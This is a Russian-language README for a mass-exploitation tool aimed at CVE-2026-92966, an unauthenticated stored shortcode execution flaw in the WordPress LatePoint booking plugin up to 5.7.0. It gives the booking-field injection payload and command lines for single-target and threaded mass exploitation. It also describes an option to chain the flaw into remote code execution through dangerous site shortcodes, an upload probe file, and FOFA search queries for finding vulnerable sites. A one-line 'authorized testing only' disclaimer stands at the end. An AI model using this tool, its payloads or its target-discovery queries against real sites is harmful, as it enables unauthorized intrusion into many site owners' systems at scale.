
Python PoC и инструмент массовой эксплуатации для CVE-2026-92966 — неаутентифицированное сохранённое выполнение шорткода в WordPress LatePoint ≤5.7.0 через поля имени при бронировании.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-92966 |
| Продукт | LatePoint — бронирование встреч |
| Затронуто | ≤ 5.7.0 |
| Исправлено | 5.7.1 |
| CWE | CWE-94 — внедрение кода (выполнение шорткодов) |
| CVSS 3.1 | 9.1 Критический (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CNA | Wordfence |
| Найден | hashiramasenju333 |
| Каталог PoCbit | https://pocbit.org/pocs/ |
| Страница PoCbit | https://pocbit.org/pocs/cve-2026-92966 |
| Маркер проверки | POCBIT-92966-OK |
| Рекомендация | Wordfence Threat Intel |
Python PoC, согласованный с CVE-2026-102425: массовая эксплуатация по умолчанию, --check, -u, --lab, пул потоков, hits.txt / exploited.txt. Без API-ключа — полностью неаутентифицированное внедрение через публичный процесс бронирования.
WordPress-плагин LatePoint позволяет анонимным посетителям бронировать встречи. Имя / фамилия клиента сохраняются только с помощью sanitize_text_field() — квадратные скобки не удаляются, поэтому значения вроде [caption]…[/caption] сохраняются.
Когда сайт отображает блок Gutenberg Customer Cabinet (render_customer_dashboard() → [latepoint_customer_dashboard]), шаблон панели управления выводит имя клиента внутри HTML (Welcome %s с esc_html($customer->full_name)). esc_html не кодирует [ или ], поэтому полезные нагрузки, похожие на шорткоды, сохраняются в выводе блока.
Затем WordPress выполняет do_shortcode для the_content с приоритетом 11. Поскольку 5.7.0 возвращал необработанный HTML панели управления из обработчика шорткода, сохранённые шорткоды в строке приветствия разбирались повторно и выполнялись. 5.7.1 исправляет это с помощью encode_shortcode_delimiters() для вывода панели управления (см. комментарий в shortcodes_helper.php: "the_content runs do_shortcode at priority 11").
Влияние: неаутентифицированное выполнение произвольных шорткодов. Само по себе это не всегда мгновенный OS RCE, но на типичном стеке WordPress оно связывается с критическими плагинами (формы, конструкторы, файловые менеджеры, шорткоды на основе eval). PoC доказывает выполнение с помощью ядерного [caption] и опционального POCBIT_EXEC_SHORTCODE для специфичных для сайта гаджетов RCE.
sequenceDiagram
participant A as Attacker
participant B as Booking (nopriv AJAX)
participant DB as wp_latepoint_customers
participant P as Page + Customer Cabinet block
participant WP as the_content do_shortcode
A->>B: first_name=[caption]PAYLOAD[/caption]
B->>DB: store customer (guest booking)
A->>P: GET customer dashboard (session/cookie)
P->>P: shortcode renders Welcome + payload
WP->>WP: second do_shortcode pass
WP-->>A: executed shortcode output (marker)
customer[first_name] (или last_name) в payload шорткода.do_shortcode.Ссылки в исходном коде вендора (5.7.0):
lib/models/customer_model.php — prepare_data_before_it_is_set() / sanitize_text_field для имёнlib/views/customer_cabinet/dashboard.php — приветственная строка с full_namelib/helpers/blocks_helper.php — render_customer_dashboard()lib/helpers/shortcodes_helper.php (5.7.1) — encode_shortcode_delimiters()| Файл | Назначение |
|---|---|
poc.py | CLI, интерактивное меню, массовый эксплойт |
_engine.py | Проверка версии, попытка внедрения при бронировании, триггер панели управления, лаборатория |
up.php | Необязательный файл-проба, если ваш RCE-шорткод загружает файлы |
targets.example.txt | Список URL для массовой обработки |
extract-5.7.0/ / extract-5.7.1/ | Деревья вендора для diff (необязательно) |
pip install requests colorama
python poc.py
exploited.txtpython poc.py targets.txt
python poc.py fofa_latepoint.txt -t 20 -T 28
hits.txtpython poc.py --check targets.txt
Отпечаток: readme.txt Stable tag, подсказки фронтенда LatePoint (latepoint-book-form, latepoint_helper), версия ≤ 5.7.0.
python poc.py -u https://target.example --check
python poc.py -u https://target.example
Если у цели есть опасный шорткод (файловый менеджер и т. п.):
set POCBIT_EXEC_SHORTCODE=[your_shortcode_here]
python poc.py -u https://target.example
Или: python poc.py -u URL --exec-shortcode "[shortcode]"
По умолчанию проверка использует шорткод ядра WordPress [caption]POCBIT-92966-OK[/caption] (для подтверждения выполнения не требуется дополнительных плагинов).
python poc.py --lab
Привязывается к 127.0.0.1:8797, имитирует readme 5.7.0, бронирование plant и двойной do_shortcode на HTML панели управления. Ожидается "exploited": true.
| Статус | Значение |
|---|---|
affected | Версия ≤ 5.7.0 (режим проверки) |
exploited | Маркер после мастера бронирования + страница личного кабинета авторизованного клиента |
plant_no_auth_cookie | Имя внедрено, но нет cookie входа клиента/WP из admin-ajax |
plant_missing_service_id | В мастере бронирования нет публичных услуг для выбора |
plant_otp_required / plant_auth_blocked | Шаг клиента заблокирован OTP или политикой входа |
no_customer_cabinet_page | Сессия в порядке, но страница [latepoint_customer_dashboard] не найдена |
shortcode_not_triggered | Plant + сессия в порядке; кабинет загружен, но маркер не выполнен |
patched_skip | ≥ 5.7.1 |
no_latepoint | Плагин не обнаружен |
Примеры FOFA / поиска:
body="/wp-content/plugins/latepoint/"
body="latepoint-book-form"
body="latepoint_helper"
Вероятность успешной эксплуатации зависит от: доступности мастера бронирования без оплаты, опубликованности блока «Личный кабинет клиента», гостевой сессии после бронирования.
[ в customer[first_name] / last_name на latepoint_route_call — только как временная мера.Только авторизованное тестирование.
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 unauthenticated stored shortcode execution (CVSS 9.1, CWE-94). PoCbit mass-exploit PoC: plant [caption]/custom shortcode in booking first name → Customer Cabinet block double do_shortcode; fixed in 5.7.1. No API key. check/exploit/mass, hits.txt & exploited.txt, --lab. Marker: POCBIT-92966-OK. https://pocbit.org/pocs/cve-2026-92966